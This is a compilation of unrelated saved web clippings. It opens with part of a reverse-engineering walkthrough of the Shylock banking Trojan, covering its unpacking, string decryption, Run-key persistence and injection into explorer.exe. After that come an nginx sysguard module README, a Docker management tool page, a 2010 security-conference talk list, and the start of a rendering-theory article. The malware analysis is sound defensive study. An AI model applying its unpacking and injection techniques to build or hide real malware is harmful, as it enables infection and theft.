The start code is quite typical, some several API calls including some Crypto
functions:

<img src='img/Temp2_9275.jpg' width='181' height='107' />

**2.2.1 VirtualAlloc / Memory Copying  \- \#1**

On address **00404A69** we see a CALL instruction \(CALL sub\_004040C0\). Once
stepping in into the function we can notice the **VirtuallAlloc** API function
call:

 <img src='img/Temp2_9310.jpg' width='217' height='99' />

Creating a new executable memory region:

<img src='img/Temp2_9348.jpg' width='396' height='208' />

Once executed, on address 00380000 we can see the newly allocated memory –
newly executable memory region \(5E200 bytes size\):

<img src='img/Temp2_9338.jpg' width='219' height='118' />

Directly after the memory allocation we can see a memory copying routine –
 copying 5E000 bytes. The routine copies the full image of the running process
\(shylock.exe\) starting from the process image base address
\(Shylock.00400000\) to the newly virtually allocated space \(00380000\):

<img src='img/Temp2_9300.jpg' width='240' height='36' />

<img src='img/Temp2_9345.jpg' width='196' height='134' />

 By end of loop:

<img src='img/Temp2_9321.jpg' width='272' height='226' />

Next, on address **00404152** we can see a **CALL EAX** instruction. EAX
points to 4160 bytes inside the newly virtually allocated memory \(00384160\):

<img src='img/Temp2_9264.jpg' width='195' height='101' />

**2.2.2 VirtualAlloc / Memory Copying  \- \#2**

On address **003841F0**  we see the second call to the **VirtualAlloc**  API
function. This time allocating 703166  bytes marked as  **PAGE\_READWRITE
 **\(and not as **PAGE\_EXECUTE\_READWRITE**  as  previous allocation\). On
address **00940000  **we can see the newly virtually allocated memory:

 <img src='img/Temp2_9297.jpg' width='367' height='285' />

Using the same memory copying routine, this time copying 55D5F bytes
from offset 602E \(first VirtualAlloc call  \- 0038602E\) to 00940000 \(second
VirtualAlloc call\):

<img src='img/Temp2_9324.jpg' width='282' height='150' />

**2.2.3 Decryption Routine**

 Let’s see what we have at this offset \(**0038602E**\):

<img src='img/Temp2_9285.jpg' width='374' height='283' />

An encrypted executable. On address **00384220** we can see the decryption
routine:

<img src='img/Temp2_9280.jpg' width='381' height='95' />

Decryption routine pseudo-code:

<img src='img/Temp2_9312.jpg' width='374' height='186' />

Lets see the decryption routine in action \(first 2 loop runs\):

First Byte – First Loop Run:

Encrypted\_Byte\_Value = 35h.

ECX \(key\) = 12345678  –>  CL = 78

35h ^ 78h = 4D \(‘M‘\)

Which gives us the ‘MZ’:

<img src='img/Temp2_9279.jpg' width='384' height='262' />

ECX = 12345678 \* 218FB + 3CAC0047 = 262FAB0807EF ==> CL = EF

Second Byte  \- Second Loop: 

EF ^ EF = 0

<img src='img/Temp2_9291.jpg' width='151' height='193' />

and so on 55D5F / 7 bytes….

**2.2.4 VirtualAlloc / Memory Copying  \- \#3**

On address **00384260** we see the third memory allocation call . This time
allocating 55F5F bytes marked as **PAGE\_READWRITE.**

On address **009F0000**  we can see the newly virtually allocated memory:

<img src='img/Temp2_9349.jpg' width='300' height='248' />

And again,copying 55D5F bytes from 00940000 ,the decrypted executable, to the
newly allocated memory space – 009F0000 \(3′rd time VirtualAlloc call\)

<img src='img/Temp2_9283.jpg' width='466' height='187' />

**2.2.5 Process Image – Erasing Routine**

Once copied the decrypted executable , on address **00384506** we see a memory
erasing routine. Starting from the process ImageBaseAddress \(EAX points to
Shylock.00400000\) the routine overwrites it’s own process virtual memory with
“0″ byte after byte:

<img src='img/Temp2_9256.jpg' width='349' height='41' />

By end of routine:

<img src='img/Temp2_9284.jpg' width='210' height='140' />

Using PE Tools – lets create a full process dump before and after this
routine:

<img src='img/Temp2_9309.jpg' width='244' height='112' />

<img src='img/Temp2_9323.jpg' width='334' height='117' />

**2.2.6 Rebuilding the Process Image –  Copying the PE header**

Next we can see ,the same as above, memory bytes copying routine, copies 400
bytes \(PE header\) from the decrypted executable \(3′rd V.A call 009F0000\)
to the newly “clean” / erased process image \(shylock.00400000\):

<img src='img/Temp2_9319.jpg' width='392' height='271' />

2.2.7 Rebuilding the Process Image – Copying the Sections  

After copying the PE header, it is time to copy the section. The following
routine is responsible for this task. The loop runs 5 times, copies the
following 5 sections:

<img src='img/Temp2_9288.jpg' width='590' height='117' />



**The Routine** 

<img src='img/Temp2_9253.jpg' width='712' height='255' />

**2.2.8 Rebuilding the Process Image – IAT Rebuild  \- LoadLibrary /
GetProcAddress Combination**

By the **LoadLibrary** / **GetProcAddress**  combination the code loads the
following DLLs and resolves functions addresses in order to rebuild the IAT: 

**LoadLibrary:**

<img src='img/Temp2_9266.jpg' width='540' height='169' />

**GetProcAddress:**

<img src='img/Temp2_9332.jpg' width='686' height='100' />

 The code resolves the following functions addresses:

**advapi32.dll:** RegFlushKey ,RegQueryValueExA ,RegSetValueExA ,IsValidSid
,GetTokenInformation ,ConvertSidToStringSidA ,OpenProcessToken ,CryptHashData
,CryptDestroyHash ,GetLengthSid ,CryptCreateHash ,CryptAcquireContextA
,CryptReleaseContext ,CryptGetHashParam ,RegCloseKey ,RegCreateKeyA

**kernel32.dll:** GetLastError ,lstrcmpi ,GetTempFileNameA ,FindClose
,FindNextFileA ,GetFileTime ,CloseHandle ,WaitForSingleObject ,VirtualFree
,CreateRemoteThread ,OpenProcess ,VirtualFreeEx ,VirtualAlloc ,VirtualAllocEx
,GetExitCodeThread ,WriteProcessMemory ,FindFirstFileA ,GetProcAddress
,GetModuleHandleA ,GetCurrentProcess ,ProcessFirst ,ProcessNext
,CreateToolhelpSnapshot ,LocalFree ,GetCommandLineA ,CreateProcessA
,FlushFileBuffers ,GetShortPathNameA ,CopyFileA ,CreateMutexA ,DeleteFileA
,ExitProcess ,CreateDirectoryA ,ReadFile ,WriteFile ,SetFileTime
,ExpandEnvironmentStringsA ,GetFileSize ,CreateFileA ,lstrcpy ,HeapSize
,GetEnvironmentVariableA ,lstrcat ,HeapCreate ,GetVolumeInformationA
,GetProcessHeap ,HeapFree ,HeapAlloc ,lstrlen ,HeapReAlloc ,GetComputerNameA

**msvcrt.dll:** memmove,free,malloc,memset,memcpy,srand,getenv,sprintf

**shlwapi.dll:** PathCombineA

**winmm.dll:** timeGetTime

**user32.dll:** CharToOemA

**2.2.9 Rebuilding the Process Image – VirtualProtect the Sections  
**

By using the following routine the code calls the **VirtualProtect** API on
every section \(.text, .rdata, .data , .reloc , .adata\). The loop runs 5
times \(a loop run for every section\):

 <img src='img/Temp2_9316.jpg' width='733' height='233' />

 The 5 sections were marked as follows:

  * .text section = PAGE\_EXECUTE\_READ \(0×20\)
  * .rdata section = PAGE\_READONLY \(0×02\)
  * .data section = PAGE\_READWRITE \(0×04\)
  * .reloc section = PAGE\_READONLY \(0×02\)
  * .adata section = PAGE\_READONLY \(0×02\)

**2.2.10 The CleanUP**

Two calls to the **VirtualFree** API function:

<img src='img/Temp2_9306.jpg' width='554' height='81' />

In the first **VirtualFree** call EBX points to 00940000 \(2nd VirtualAlloc
call\) and in the second call ESI points to 009F0000 \(3′rd VirtualAlloc
call\).  
We can see that the dwFreeType parameter is set to **MEM\_RELEASE** \(0×8000\)
as required because both above addresses were allocated by using the
VirtualAlloc function.

**3. The OEP**

On address **0038433D** we see a CALL instruction that lands us directly on
the OEP:

<img src='img/Temp2_9296.jpg' width='510' height='275' />

**4\. Dump & Fix**

**4.1 ImpREC – Fixing the Dump**

 After dumping the unpacked process using PETools  we need to rebuild the IAT.
I am using ImpREC:

 <img src='img/Temp2_9325.jpg' width='385' height='333' />

<img src='img/Temp2_9254.jpg' width='438' height='438' />

 5. **OEP – Core Infection**
This can be considered as the True EntryPoint, in other words here starts the
Infection Process. We can immediately see the **GetModuleHandleA**  /
**GetProcAddress**  combination. Before we get to the **GetModuleHandleA**  /
**GetProcAddress** calls we can notice the “**CALL Dumped\_.0040166E** ”
instruction that gets called twice. The “Dumped\_.0040166E” routine is
shylock’s decryption routine.

<img src='img/Temp2_9304.jpg' width='423' height='202' />

**5.1 The Decryption Routine**

After a successful **HeapCreate** / **HeapAlloc** calls shylock copies from
it’s .rdata section to the newly allocated heap ‘N’ encrypted bytes and a 4
bytes key:

<img src='img/Temp2_9265.jpg' width='631' height='300' />

Let’s see  how the 4 bytes key / ‘N’ encrypted bytes structure looks like in
the .rdata section:

 <img src='img/Temp2_9268.jpg' width='648' height='72' />

The decryption routine \(Dumped\_.0040164C\):

<img src='img/Temp2_9308.jpg' width='672' height='74' />

**  5.2 GetModuleHandleA  / GetProcAddress**

Now we can move on to the **GetModuleHandleA**  / **GetProcAddress**
 calls. As we’ve seen above there are 2 calls to the decryption routine before
 calling the **GetModuleHandleA**  / **GetProcAddress** APIs.

The first decryption call returns the following string:

<img src='img/Temp2_9302.jpg' width='444' height='106' />

The second call returns:

<img src='img/Temp2_9318.jpg' width='533' height='94' />



<img src='img/Temp2_9342.jpg' width='446' height='75' />

So the first thing shylock does is resolving the address of
kernel32.IsWow64Process API function. Once resolved, it tries to determine
whether its running under WOW64 system by calling IsWow64Process with the
handle returned  from a call to GetCurrentProcess function \(current process
handle \(HANDLE\)-1\):

<img src='img/Temp2_9258.jpg' width='626' height='47' />



**Unique ID Generation**

For future usage ,as part of the infection process, shylock generates a 16
bytes \(calculated from 55 bytes buffer\) unique ID number:

First 8 bytes:

By using the following routine shylock generates the first 8 bytes. The loop
runs 10 times, on each loop there is a call to the CPUID opcode with EAX
from 8000000A to 80000000 :

<img src='img/Temp2_9329.jpg' width='567' height='230' />

Next 4 bytes:

In order to generate the next 4 bytes Shylock calls the
**GetVolumeInformationA** API function. One of this function parameters
is **_lpVolumeSerialNumber_  \[out, optional\]** \(A pointer to a variable
that receives the volume serial number.\) Shylock uses the returned serial ID
as its next 4 bytes:

<img src='img/Temp2_9271.jpg' width='654' height='228' />

 Next 15 bytes \(in my case\)

The next bytes are generated by calling the **GetComputerNameA** API function.
In my case the returned length is 15 bytes.

<img src='img/Temp2_9346.jpg' width='510' height='177' />

Last 28 bytes

The last 28 bytes are generated by calling the **GetTokenInformation** API
function -  **OpenProcessToken\(GetCurrentProcess\(\)….\) = >
GetTokenInformation\(\)**

The returned TokenInformation is saved to an allocated heap due to
a “ERROR\_INSUFFICIENT\_BUFFER” error on first call.

<img src='img/Temp2_9307.jpg' width='444' height='123' />

Next there is a call to **IsValidSid** API function with **pSid** parameter
points to 8 bytes offset inside the returned token from above \(skips first 8
bytes\) which leaves us 28 bytes token info.

<img src='img/Temp2_9277.jpg' width='544' height='232' />

Building the final buffer into a allocated heap:

<img src='img/Temp2_9290.jpg' width='576' height='333' />

 Once the 55 bytes buffer  \(8 +4 + 15 + 28 \) is ready, Shylock executes some
crypto API calls on it:

<img src='img/Temp2_9340.jpg' width='605' height='266' />

 The Unique ID: “03 B9 A9 07 8D 48 AE 06 CA 2C 89 39 AD 57 A5 07″

Reordering the bytes:

<img src='img/Temp2_9292.jpg' width='584' height='284' />

 and calling sprintf function:

<img src='img/Temp2_9273.jpg' width='630' height='111' />

**Mutex Creation  **

 Before calling the **CreateMutex** API function the code jumps to the
decryption routine \(this time decrypting 5 bytes\)

<img src='img/Temp2_9322.jpg' width='536' height='39' />

The decrypted string:

<img src='img/Temp2_9257.jpg' width='443' height='59' />

Mutex name –  the decrypted string \(“MTX\_”\) concated with the generated
UniqueID:

**MutexName** = “MTX\_06AE488D07A9B90339892CCA07A557AD”  
**InitialOwner** = FALSE  
**pSecurity** = NULL

<img src='img/Temp2_9294.jpg' width='611' height='67' />

**  File System Changes – APPDATA folder **

 Shylock drops a copy of itself \(running process\) under the APPDATA folder
in a random location with a random name, let’s see how it is done:

Calling the decryption routine:

<img src='img/Temp2_9289.jpg' width='536' height='81' />

The decrypted string:

<img src='img/Temp2_9270.jpg' width='442' height='52' />

Once got the decrypted string  we jump to the following routine:

<img src='img/Temp2_9295.jpg' width='564' height='181' />

 The routine generates a random number by calling time.GetTime function and
than doing some math operations on the returned value.

By calling the **FindFirstFileA** /**FindNextFileA** APIs combination Shylock
searches all exe files under the system32 folder and extracts the name of the
file, to be its chosen random name, from the file which is located in
the generated random number location. By using the same logic Shylock
also chooses the random folder under APPDATA path to copy itself to:

<img src='img/Temp2_9320.jpg' width='438' height='158' />

 BTW, Shylock decides to drop a copy of itself under the APPDATA path
because that’s the path he gets after calling the decryption routine:

<img src='img/Temp2_9301.jpg' width='539' height='43' />

The decrypted string:

<img src='img/Temp2_9276.jpg' width='445' height='57' />

**Surviving Reboot  **

 Calling the decryption routine:

<img src='img/Temp2_9261.jpg' width='534' height='119' />

The decrypted string:

<img src='img/Temp2_9293.jpg' width='444' height='80' />

In order to survive reboot shylock writes itself to the registry under** 
”Software\Microsoft\Windows\CurrentVersion\Run”** using it’s generated unique
ID as the name value:

<img src='img/Temp2_9334.jpg' width='622' height='69' />

**Creating the .bat File  **

 Before creating the .bat file we see the **GetTempFileNameA** / **DeleteFileA
 **API calls.

**GetTempFileName** by MSDN:  
“Creates a name for a temporary file. If a unique file name is generated, an
empty file is created and the handle to it is released; otherwise, only a file
name is generated.”

After the **GetTempFileNameA / DeleteFileA** calls we jumps to the decryption
routine twice. First call decrypting 5 bytes:

<img src='img/Temp2_9287.jpg' width='613' height='49' />

The decrypted string:

<img src='img/Temp2_9336.jpg' width='443' height='68' />

Second call decrypting 119 bytes:

<img src='img/Temp2_9267.jpg' width='489' height='98' />

The decrypted string:

<img src='img/Temp2_9313.jpg' width='444' height='50' />

Now it is time for creating the .bat file by calling **CreateFileA** function:

<img src='img/Temp2_9341.jpg' width='542' height='47' />

Next, writing to the created .bat file the decrypted string when replacing all
format strings “%s” with the full path of the running process \(by using
**GetCommandLine** API\):

<img src='img/Temp2_9282.jpg' width='626' height='184' />

**cmd.exe Process**

 Again, calling the decryption routine. This time decrypting 11 bytes. The
decrypted string:

<img src='img/Temp2_9286.jpg' width='444' height='56' />

Calling **getenv** function and **GetShortPathName** that returns the
**“C:\WINDOWS** ” string. Another decryption routine call – 22 bytes this
time:

<img src='img/Temp2_9269.jpg' width='367' height='63' />

The decrypted string:

<img src='img/Temp2_9299.jpg' width='444' height='61' />

And 2 calls to the **strcat** API function:

First call – concats **“C:\WINDOWS”** and  **“\system32\cmd.exe /c”**

<img src='img/Temp2_9330.jpg' width='620' height='36' />

Second call – concats **“C:\WINDOWS\system32\cmd.exe /c”** and the full path
to the tmp.bat file:

<img src='img/Temp2_9337.jpg' width='743' height='28' />

Executing the. bat file using the **CreateProcessA** function:

<img src='img/Temp2_9347.jpg' width='1020' height='120' />

<img src='img/Temp2_9315.jpg' width='443' height='375' />

**  explorer.exe – Process Injection**

Calling the decryption routine. This time decrypting 13 bytes:

<img src='img/Temp2_9328.jpg' width='610' height='62' />

The decrypted string:

<img src='img/Temp2_9317.jpg' width='445' height='63' />

Once decrypted we land here:

<img src='img/Temp2_9314.jpg' width='459' height='285' />

By calling **CreateToolhelp32Snapshot** / **Process32First**
/**Process32Next** APIs, the code lists all running processes and by using
**strcmpiA** function it compares the name of the running process to
explorer.exe. Once found the explorer.exe process we jump here:

<img src='img/Temp2_9326.jpg' width='350' height='243' />

By looking at the involved APIs we can see that the code uses the
**CreateRemoteThread**  / **WriteProcessMemory** Technique to inject its’ code
into explorer.exe process.  
More info about the technique you can read here. Scrolling a bit down we see
this:

<img src='img/Temp2_9260.jpg' width='391' height='304' />

We can see that the code calls **WriteProcessMemory** 3 times. Let’s follow
the steps:

**  Step \#1:  Retrieve a HANDLE to the remote process \(OpenProcess\):**

 <img src='img/Temp2_9344.jpg' width='622' height='126' />

**  Step \#2: Allocate memory in the remote process’s address space for
injected data \(VirtualAllocEx\):**

<img src='img/Temp2_9272.jpg' width='575' height='58' />

**Step \#3 : Write a copy of the initialised INJDATA structure to the
allocated memory \(WriteProcessMemory\)**.

First VirtuallAllocEx/ WriteProcessMemory call:

We can see that the code writes 92000 bytes from address 00A50000 to the newly
virtually allocated memory \(022A0000\). If we will look at address 00A50000
we can immediately see the MZ header :

 <img src='img/Temp2_9339.jpg' width='428' height='317' />

Dumping the first explorer’s.exe injected code:

<img src='img/Temp2_9262.jpg' width='346' height='136' />

Before calling the second **VirtuallAllocEx** / **WriteProcessMemory**
combination the code changes 4 bytes at offset 28h \(DOS Header->e\_res2->
offset 28h / offset 2Ah\) from 00000000 to be the base address of the
v.allocated newly memory\( 022A0000 \) and also changes at offset 2C \(DOS
Header->e\_res2-> offset 2Ch / offset 2Eh\) also from 00000000 to be the size
of the newly v.allocated memory \(00092000\)

<img src='img/Temp2_9298.jpg' width='445' height='172' />

 <img src='img/Temp2_9343.jpg' width='283' height='356' />

Second VirtuallAllocEx/ WriteProcessMemory call:

Writes again 92000 bytes from address 00A50000 \(includes above bytes
changes\) to the newly virtually allocated memory – 023C0000:

<img src='img/Temp2_9333.jpg' width='281' height='110' />

 Dump:

<img src='img/Temp2_9303.jpg' width='346' height='136' />

 Let’s see the diff:

<img src='img/Temp2_9274.jpg' width='389' height='181' />

 Third VirtuallAllocEx/ WriteProcessMemory call: 

Writes 9D7 bytes to the newly allocated memory – 00AA0000:

 <img src='img/Temp2_9331.jpg' width='283' height='180' />

**  Step \#4: Start the remote copy of ThreadFunc via CreateRemoteThread.**

<img src='img/Temp2_9281.jpg' width='345' height='117' />

We see that the code calls **CreateRemoteThread** function in order to create
a thread that runs in the virtual address space of explorer.exe process. The
handle to the process in which the thread is to be created \(arg1 – 68h\) is
the handle returned from the **OpenProcess** function. The lpStartAddress
\(arg4\), the starting address of the thread in the remote process, is the
address returned from the third VirtuallAllocEx – not the MZ code. And the
lpParameter, a pointer to a variable to be passed to the thread function, is
the address that returned from the 2rd VirtuallAllocEx call – the MZ code –
the dll.

**Step \#5: Wait until the remote thread terminates \(WaitForSingleObject\).**

<img src='img/Temp2_9255.jpg' width='786' height='28' />

**Step \#6: Retrieve the result from the remote process \(ReadProcessMemory or
GetExitCodeThread\).**

<img src='img/Temp2_9263.jpg' width='544' height='37' />



**Step \#7 and \#8 – The clean Up**

<img src='img/Temp2_9305.jpg' width='657' height='166' />  
Free the memory allocated in Steps \#2 and \#4 \(VirtualFreeEx\), and Close
the handles retrieved in Steps \#6 and \#1 \(CloseHandle\).

And we are infected <img src='img/Temp2_9311.jpg' alt=':)' />

<img src='img/Temp2_9259.jpg' width='512' height='26' />

**6\. Conclusion**

According to the title, the main scope of this blog post is walking toe to toe
with Shylock Trojan. On my next post \(in a few days\) I will walk toe to toe
with the injected code.

**7\. Final Notes**

**Thx 4 Reading\!**

**p4r4n0id**

# Recovering C++ Objects From Binaries Using Inter-Procedural Data-Flow
Analysis

**Created:**| _7/16/2015 9:54:12 AM_  
---|---  
**Updated:**| _7/16/2015 9:55:30 AM_  
**Author:**| __  
**Tags:**| _C++ oop_  
  

#  PPREW-2014.pdf

<img src='img/PPREW-2014.pdf' />

# vozlt/nginx-module-sysguard

**Created:**| _5/15/2017 9:24:49 PM_  
---|---  
**Updated:**| _5/15/2017 9:24:49 PM_  
**Author:**| __  
**Tags:**| _web-app-sec web_  
  

  

###  README.md

# Nginx sysguard module

<img
src='img/687474703a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4253442d627269676874677265656e2e737667'
width='80' height='20' alt='License' />

Nginx sysguard module

# Table of Contents

  * Version
  * Dependencies
  * Compatibility
  * Installation
  * Synopsis
  * Description
  * Embedded Variables
  * Directives
    * sysguard
    * sysguard\_load
    * sysguard\_mem
    * sysguard\_rt
    * sysguard\_mode
    * sysguard\_interval
    * sysguard\_log\_level
  * See Also
  * TODO
  * Donation
  * Author

## Version

This document describes nginx-module-sysguard ` v0.1.0 ` released on 23 Feb
2017.

## Dependencies

  * nginx
  * sysinfo\(2\) | getloadavg\(3\)
  * /proc/meminfo

## Compatibility

  * 1.11.x \(last tested: 1.11.10\)

Earlier versions is not tested.

## Installation

  1. Clone the git repository.

[code]

    shell> git clone git://github.com/vozlt/nginx-module-sysguard.git
    
[/code]

  2. Add the module to the build configuration by adding

[code]

    --add-module=/path/to/nginx-module-sysguard
    
[/code]

  3. Build the nginx binary.
  4. Install the nginx binary.

## Synopsis

[code]

    http {
    
        ...
    
        server {
    
            ...
    
            sysguard on;
            sysguard_mode or;
    
            sysguard_load load=10.5 action=/loadlimit;
            sysguard_mem swapratio=20% action=/swaplimit;
            sysguard_mem free=100M action=/freelimit;
            sysguard_rt rt=0.01 period=5s method=AMM:10 action=/rtlimit;
    
            location /loadlimit {
                return 503;
            }
    
            location /swaplimit {
                return 503;
            }
    
            location /freelimit {
                return 503;
            }
    
            location /rtlimit {
                return 503;
            }
        }
    
        ...
    
        server {
    
            ...
    
            location /api {
                sysguard on;
                sysguard_mode or;
                sysguard_load load=20 action=/limit;
                sysguard_mem swapratio=10% action=/limit;
                sysguard_rt rt=2.01 period=5s method=WMA:10 action=/limit;
    
                ... 
    
            }
    
            location /images {
                sysguard on;
                sysguard_mode and;
                sysguard_load load=20 action=/limit;
                sysguard_mem swapratio=10% action=/limit;
                sysguard_rt rt=2.01 period=5s method=WMA:10 action=/limit;
    
                ...
    
            }
    
            location /limit {
                return 503;
            }
        }
    
    }
[/code]

## Description

This module can be used to protect your server in case system load, memory use
goes too high or requests are responded too slow. This is a porting version of
the sysguard in tengine to the pure NGINX so as to support the same features.

` Caveats: ` Note this module requires the sysinfo\(2\) system call, or
getloadavg\(3\) function in glibc. It also requires the /proc file system to
get memory information.

## Embedded Variables

The following embedded variables are provided:

  * **$sysguard\_load**
    * The load of system. If ` $sysguard_load `'s value is 100, then load is 0.1\(100/1000\). \(/msec\)
  * **$sysguard\_swapstat**
    * The ratio of using swap. \(/per\)
  * **$sysguard\_free**
    * The real free space of memory. \(/byte\)
  * **$sysguard\_rt**
    * The average of request processing times. If ` $sysguard_rt `'s value is 100, then response time is 0.1sec\(100/1000\). \(/msec\)
  * **$sysguard\_meminfo\_totalram**
    * The total memory of meminfo. \(/byte\)
  * **$sysguard\_meminfo\_freeram**
    * The free memory of meminfo. \(/byte\)
  * **$sysguard\_meminfo\_bufferram**
    * The buffer memory of meminfo. \(/byte\)
  * **$sysguard\_meminfo\_cachedram**
    * The cached memory of meminfo. \(/byte\)
  * **$sysguard\_meminfo\_totalswap**
    * The total swap of meminfo. \(/byte\)
  * **$sysguard\_meminfo\_freeswap**
    * The free swap of meminfo. \(/byte\)

## Directives

### sysguard

- | -  
---|---  
**Syntax** | **sysguard** <on|off>  
**Default** | off  
**Context** | http, server, location  
` Description: ` Enables or disables the module working.

### sysguard\_load

- | -  
---|---  
**Syntax** | **sysguard\_load** load=_number_ \[action=_/url_\]  
**Default** | -  
**Context** | http, server, location  
` Description: ` Specify the load threshold. When the system load exceeds this
threshold, all subsequent requests will be redirected to the URL specified by
the 'action' parameter. It will return 503 if there's no 'action' URL defined.
This directive also support using ncpuratio to instead of the fixed threshold,
'ncpu' means the number of cpu's cores, you can use this directive like this:
load=ncpu1.5

### sysguard\_mem

- | -  
---|---  
**Syntax** | **sysguard\_mem** swapratio=_ratio_ % free=_size_ \[action=_/url_\]  
**Default** | -  
**Context** | http, server, location  
` Description: ` Specify the used swap memory or free memory threshold. When
the swap memory use ratio exceeds this threshold or memory free less than the
size, all subsequent requests will be redirected to the URL specified by the
'action' parameter. It will return 503 if there's no 'action' URL. Sysguard
uses this strategy to calculate memory free: "memfree = free + buffered +
cached"

### sysguard\_rt

- | -  
---|---  
**Syntax** | **sysguard\_rt** rt=_second_ period=_time_ \[method=<AMM|WMA>:_number_\] \[action=_/url_\]  
**Default** | -  
**Context** | http, server, location  
` Description: ` Specify the response time threshold. Parameter rt is used to
set a threshold of the average response time, in second. Parameter period is
used to specifiy the period of the statistics cycle. If the average response
time of the system exceeds the threshold specified by the user, the incoming
request will be redirected to a specified url which is defined by parameter
'action'. If no 'action' is presented, the request will be responsed with 503
error directly. The ` method ` is a formula that calculate the average of
response processing times. The ` number ` in method is the number of samples
to calculate the average. The default method is set to be ` method=AMM:period
`.

  * **AMM**
    * The AMM is the arithmetic mean.
  * **WMA**
    * THE WMA is the weighted moving average.

### sysguard\_mode

- | -  
---|---  
**Syntax** | **sysguard\_mode** <and|or>  
**Default** | or  
**Context** | http, server, location  
` Description: ` If there are more than one type of monitor, this directive is
used to specified the relations among all the monitors which are: 'and' for
all matching and 'or' for any matching.

### sysguard\_interval

- | -  
---|---  
**Syntax** | **sysguard\_interval** _time_  
**Default** | 1s  
**Context** | http, server, location  
` Description: ` Specify the time interval to update your system information.
The default value is one second, which means sysguard updates the server
status once a second.

### sysguard\_log\_level

- | -  
---|---  
**Syntax** | **sysguard\_log\_level** <info|notice|warn|error>  
**Default** | error  
**Context** | http, server, location  
` Description: ` Specify the log level of sysguard.

## See Also

  * nginx-module-vts
  * nginx-module-sts

## TODO

## Donation

<img
src='img/687474703a2f2f696d672e736869656c64732e696f2f62616467652f50415950414c2d444f4e4154452d79656c6c6f772e737667'
width='106' height='20' alt='License' />

## Author

  * Copyright \(C\) 2010-2015 Alibaba Group Holding Limited
  * Copyright \(C\) 2017, YoungJoo.Kim <vozltx@gmail.com>

  

# Shipyard Project

**Created:**| _3/15/2014 4:55:48 PM_  
---|---  
**Updated:**| _3/15/2014 4:55:48 PM_  
**Author:**| __  
**Tags:**| _virtusalisation_  
  

# Shipyard Project

## Management from a Single View

Shipyard gives you the ability to manage Docker resources including
containers, images, hosts, and more all from a single management interface.

<img src='img/Temp2_7501.png' />

* * *
## Multi-Host Support

Shipyard can manage multiple Docker hosts giving the flexibility to build
redundant, highly available applications.

<img src='img/Temp2_7502.png' />

* * *
## Container Metrics

Shipyard monitors and reports container metrics such as CPU and Memory
utilization.

<img src='img/Temp2_7500.png' />

* * *
## RESTful API

Shipyard provides a RESTful API for powerful automation and integration.

<img src='img/Temp2_7499.png' />

# Ruxcon » 2010 Materials

**Created:**| _12/2/2010 5:08:35 PM_  
---|---  
**Updated:**| _12/2/2010 5:08:48 PM_  
**Author:**| __  
**Tags:**| _conference-material slides_  
  
**Meder Kydryraliev** Milking a Horse or Executing Remote Code in Modern Java Web Frameworks |  **Andrew Griffiths** Breaking Linux Security Protections  
---|---  
**Endrazine** Breaking Virtualization by switching the CPU to Virtual 8086 Mode |  **Jarrod Loidl** No Holds Barred’ Penetration Testing  
**Matt J** Killing the Elephant in the Room - Enterprise Vulnerability Management Tactics |  **Nicolas Waisman** Padding Oracle for the Masses  
**Billy Rios** Will it Blend |  **Kuza55  
** Automatically Identifying C structs from Binaries  
**Ben Nagy** Prospecting for Rootite: More Code Coverage, More Bugs, Less Wasted Effort |  **Louis Nyffenegger** Web Scanners FOR THE WIN...  
**Brett Moore** DEP in Depth |  **Gavin Smith** Hackerspace - Robots & Dinosaurs  
**Sean Heelan** Code Analysis Carpentry |  **Edward Farrell** RFID Security  
**Sunday, 21st November**  
**Ryan O'Neill** Instrumenting the Linux Kernel with Kprobes for Anti-Security |  **Jaco van Heerden** DnsÜberNOOBer  
**Mark Goudie** We’ve been hacked\! What went wrong and why |  **Silvio Cesare** Fast Automated Unpacking and Classification of Malware  
**Mark Chaffe** The Australian Internet Security Initiative - Fighting Botnets at the Source |  **Stephen Glass & Matt Robert** Security in Public-Safety Radio Systems, APCO Project 25  
**Tim Kornau \(Zynamics\)  
** Everybody be cool this is a Roppery\! |  **Peter Hanney** Hooray for Reading: The Kindle and You  
**Alex Tilley** This Job makes you Paranoid |  **Matthew de Carteret** Ghost in the Shell\(code\)  
**Nick Klein** How to do Real World Computer Forensics ... and not get Burned |  **David Jorm** Virtualization Security State of the Union  
**Adam Daniel** The Computer Forensic & eDiscovery Tools that Time Forgot |  **Daniel Grzelak** Understanding the Java Serialization Attack Surface

# Basic Theory of Physically-Based Rendering

**Created:**| _8/27/2014 3:40:42 PM_  
---|---  
**Updated:**| _8/29/2014 9:19:46 AM_  
**Author:**| __  
**Tags:**| _visualization_  
  

# Basic Theory of Physically-Based Rendering

By Jeff Russell

Physically-based rendering \(PBR\) is an exciting, if loosely defined, trend
in real time rendering lately. The term is bandied about a lot, often
generating confusion as to what exactly it means. The short answer is: “many
things”, and “it depends”, which is rather unsatisfying, so I have taken it
upon myself to try to explain at some length what PBR represents and how it
differs from older rendering methods. This document is intended for non-
engineers \(artists most likely\), and will not present any mathematics or
code.

Much of what makes a physically-based shading system different from its
predecessors is a more detailed reasoning about the behavior of light and
surfaces. Shading capabilities have advanced enough that some of the old
approximations can now be safely discarded, and with them some of the old
means of producing art. This means both the engineer and the artist should
understand the motivations for these changes.

We’ll have to start with some of the basics so that they are well defined
before we begin to highlight what is new, but if you’ll bear with me through
the parts you may already know I think you’ll find it well worth the read. You
may then want to also check out our own Joe Wilson’s article on creating PBR
artwork.

### Diffusion & Reflection

Diffusion and reflection – also known as “diffuse” and “specular” light
respectively – are two terms describing the most basic separation of
surface/light interactions. Most people will be familiar with these ideas on a
practical level, but may not know how they are physically distinct.

When light hits a surface boundary some of it will reflect – that is, bounce
off – from the surface and leave heading in a direction on the opposing side
of the surface normal. This behavior is very similar to a ball thrown against
the ground or a wall – it will bounce off at the opposite angle. On a smooth
surface this will result in a mirror-like appearance. The word “specular”,
often used to describe the effect, is derived from the latin for “mirror” \(it
seems “specularity” sounds less awkward than “mirrorness”\).

Not all light reflects from a surface, however. Usually some will penetrate
into the interior of the illuminated object. There it will either be absorbed
by the material \(usually converting to heat\) or scattered internally. Some
of this scattered light may make its way back out of the surface, then
becoming visible once more to eyeballs and cameras. This is known by many
names: “Diffuse Light”, “Diffusion”, “Subsurface Scattering” – all describe
the same effect.

<img src='img/Temp2_997.png' />

The absorption and scattering of diffuse light are often quite different for
different wavelengths of light, which is what gives objects their color \(e.g.
if an object absorbs most light but scatters blue, it will appear blue\). The
scattering is often so uniformly chaotic that it can be said to appear the
same from all directions – quite different from the case of a mirror\! A
shader using this approximation really just needs one input: “albedo”, a color
which describes the fractions of various colors of light that will scatter
back out of a surface. “Diffuse color” is a phrase sometimes used
synonymously.

### Translucency & Transparency

In some cases diffusion is more complicated – in materials that have wider
scattering distances for example, like skin or wax. In these cases a simple
